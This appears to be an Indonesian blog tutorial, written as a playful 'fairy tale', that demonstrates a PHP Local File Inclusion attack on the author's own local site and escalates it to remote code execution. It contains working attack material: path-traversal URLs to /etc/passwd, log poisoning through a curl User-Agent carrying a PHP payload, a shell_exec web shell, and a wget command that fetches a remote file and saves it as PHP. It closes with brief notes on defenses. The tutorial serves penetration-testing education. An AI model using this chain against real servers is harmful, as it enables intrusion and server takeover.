Dongeng : Dampak Berat Bug Security Local File Inclusion (LFI) Vulnerability

Kali ini saya akan cerita tentang teknik hacking. Saya menggunakan komputer saya sendiri sebagai contoh, agar tidak menimbulkan dampak di pihak lain.

Local File Inclusion, biasa terjadi pada web yang menggunakan teknik include, dengan masukan include ditentukan dari GET query string parameter. Contoh

 

$page = isset($_GET['page'])?$page=$_GET['page']:$page='home.php' ;  
if(file_exists($page)){ 	 
include $page;  
}else{ 	 
echo "Sorry the content does not exist";  } 

Code tersebut akan diakses dengan menggunakan URL : http://namasitus.tld/index.php?page=halaman.php.  Jika parameter query string page pada URL tersebut kosong, maka akan diisi otomatis dengan home.php

thevictim1

Konsep pengambilan halaman dengan metode inklusi dengan masukan dari parameter GET, ternyata memiliki risiko. Berikut dongeng risiko LFI di bawah.

Asumsikan saya memiliki sebuah web dengan nama thevictim.id (bukan nama sebenarnya). Ini adalah domain local komputer saya. Web ini memiliki konsep mengambil halaman lain dari model inklusi dari parameter GET

thevictim3

Saat menu About Us dipilih, maka pada URL diarahkan pada http://thevictim.id/?page=aboutus.php. Demikian juga dengan halaman-halaman lainnya. Para intruder, biasanya akan memandang model halaman ini sebagai hal yang menarik hati klepto-web nya. Para intruder akan mencoba memainkan URL dengan mengganti value parameter page, misal dengan : ../../../../../../../../../etc/passwd, ../../../../../../../etc/issue. Jika web tersebut ada di belakang firewall, biasanya masukan yang mengandung /etc/passwd sudah disikat duluan. Perangkat-perangkat firewall seperti Fortinet, Cisco Firewall, Palo Alto, Sangfor, hingga F5, tentu sudah memiliki filter akan hal ini. (Meski ya saya lihat, banyak yang bocor :p ). Mod_security milik apache, dan naxsi juga dapat disetting untuk melakukan filtering terhadap hal ini.

thevictim4

Seorang intruder akan makin tertarik dengan melihat tampilan seperti ini. Artinya, proses inklusi tidak difilter dari file-file tertentu saja. Seluruh file di dalam linux dapat dibaca oleh si intruder melalui halaman yang melibatkan include tersebut.

Setelah mendapatkan info seperti ini, si intruder akan melanjutkan gerilyanya di dalam server. Dia butuh mengetahui versi server. Maka dia akan memanggil file /etc/issue atau file lainnya (/etc/*release).

thevictim5

Dapatlah info server. Tenang, ini komputer local saya. Saya suka pakai Mint, karena code-name nya nama-nama cewek. Cinta pertama saya di Helena (Linux Mint 8). Sekarang saya sama Serena. Helena sudah wafat. Serena lebih muda, dan lebih gede angkanya. (Paling besok juga ganti lagi). Kembali ke LFI.

Setelah dapat info server, kalau saya, akan segera mencari : dimanakah konfigurasi webservernya. Karena Mint berbasis Debian, maka saya dapat dengan mudah menebak : /etc/apache2/sites-enabled/namaweb.conf adalah konfigurasi default untuk domain tersebut. (Ini sudah terbukti, sebagian besar web menggunakan kondisi default. Loh berarti pernah masuk? Ah nggak, cuma terjerumus).

thevictim7

Dari konfigurasi webserver ini, saya tentu dapat tahu : lokasi documentroot, lokasi file access_log, lokasi error_log. Penting? Lha ya maha penting. 😀

“Halah, LFI kan hanya bisa mbaca.. nggak bisa take over server”. Gitu kata yang nyinyir. Biasanya para intruder membiarkan nyinyir itu, biar si nyinyir tak pernah menyadari bahwa LFI itu bukan cuma bisa membaca. Caranya? Cara itu sebenarnya banyak. Cara tidak bisa dipastikan. Intruder yang nakal tentu akan dapat cara spontan, taktis dan akurat saat itu juga. Kebetulan di antara beberapa cara yang pernah saya pakai, salah satunya penggunaan access.log. Access.log?? Serius?.. Iya serius.

Logika yang digunakan saat itu adalah : file apa yang dapat berubah dengan adanya akses, dan sekaligus dapat diinklusi ke dalam script? Jawabannya adalah access.log. Bagaimana cara menulisnya? Menulisnya adalah dengan menuliskan sembarang request URI ke belakang domain. Berikut…

thevictim9
thevictim8

Lokasi log akses webserver diketahui. Dengan demikian kita bisa mencoba untuk membuka log akses tersebut. Jika log akses terkunci permission, maka web itu setidaknya sudah setingkat lebih aman.

thevictim10

Jika log akses berhasil dibaca. Maka dapat dilihat urutannya :

  • IP Address Client (REMOTE_ADDR)
  • Tanggal dan Jam
  • Method
  • Versi HTTP
  • URL
  • User Agent (Browser dan komputer pengakses)

Nah, lanjut. Apa yang bisa dilakukan?

thevictim11

Testing selanjutnya menuliskan di belakang domain, berupa script phpinfo, atau script lainnya. Lantas, dibuka kembali inklusi untuk access log.

thevictim12

Proses penulisan ke log akses sukses, tetapi segala macam tag PHP berubah menjadi format enkoding URL HTML. Cara lain?

Cara yang biasa saya pakai adalah dengan CURL (browser kesukaan saya), berbasis text mode. Pada curl, useragent dapat dimodifikasi sebagai apapun. Misal sebagai mozilla, chrome, atau internet explorer. Kali ini pada User Agent akan saya buat sebagai phpinfo 😀

thevictim14

Dengan “curl http://thevictim.id” -A “<?php phpinfo(); ?>” , sudah bisa dituliskan dalam log akses. Lantas dibuka… Ciluk Ba..

thevictim15

Testing berhasil.. Mengapa? Karena di dalam log terkandung kata <?php phpinfo(); ?>, dan ini tereksekusi oleh script PHP dengan baik. Muncullah halaman PHP info. Dengan demikian, bisakah lanjut ke hal lain?

thevictim16

Kita bisa saja menambahkan <?php echo shell_exec($_GET[‘exec’]);?>, sebagai masukan user-agent pada curl. Kemudian kita test kembali. Saya mengasumsikan bahwa script kecil itu sudah terangkut di log akses. Tentu jika itu terinklusi dan tereksekusi dengan baik, akan dapat menghasilkan keluaran yang saya inginkan. Lantas saya mengakses di halaman browser :

http://thevictim.id/?page=../../../../../../../../../../home/bimo/public_html/artikel/access.log&exec=ls -al

thevictim17

Keliatan belum? Kita perjelas :

thevictim18

Masih kurang jelas?? He?

thevictim19

Berarti perintah tereksekusi ya? Dengan demikian, kita bebas melakukan perintah lainnya seperti kita melakukan perintah linux biasa, via address bar.

thevictim21

Download sebuah file berekstensi txt, dan diberikan nama php. Kalian tahulah isinya apa kira-kira. Perintahnya adalah :

wget http://192.168.43.11/fileup.txt -O fileup.php

thevictim22

Berhasil? 

thevictim23

Nah, proses penetration sudah terjadi. Yang perlu dilakukan hanyalah upload file lainnya, yang dapat digunakan untuk mengontrol aplikasi, hingga escalation privileges hingga ke root atau mesin. Data juga sudah di tangan.

Pertanyaan

Q : Bagaimana cara pengamanannya?

A : Filtering pada koding, setting permission pada server.

Q : Apakah hal ini banyak terjadi?

A : Banyak. Biasanya para intruder melakukan dengan google dorking

Q : Selain penulisan log, adakah cara lain untuk memulai menulis ke dalam server?

A : Ada 😀

Q : Bisakah ini terjadi pada selain PHP?

A : Bisa, selama melibatkan inklusi file

Q : Bisakah ini berlanjut ke RCE ?

A : Lha inilah yang disebut LFI to RCE (Remote Code Execution), dari bug LFI, lanjut ke RCE

Q : Bagaimana pengamanannya?

A : filtering pada programming, setting permission pada server, pengaktifan firewall dengan tepat, setting konfigurasi yang tepat, monitoring melekat, mitigasi secepatnya.

Mari berbuka dulu

Artikel ini digunakan untuk lebih mengenal hal mengenai : penetration testing, dan bagaimana cara bertahan. Semoga dapat cukup memberi gambaran mengenai risiko dan bahanya sesuatu yang selama ini dianggap kecil…

3 thoughts on “Dongeng : Dampak Berat Bug Security Local File Inclusion (LFI) Vulnerability

  1. assalamualaikum pak, mau nanyak tentang seputaran pemrograman web. kalau mau membuat perintah print yang sesuai dengan data yang kita pilih, bagaimana caranya ya pak. terima kasih pak

Leave a Reply to david acosta Cancel reply

Your email address will not be published. Required fields are marked *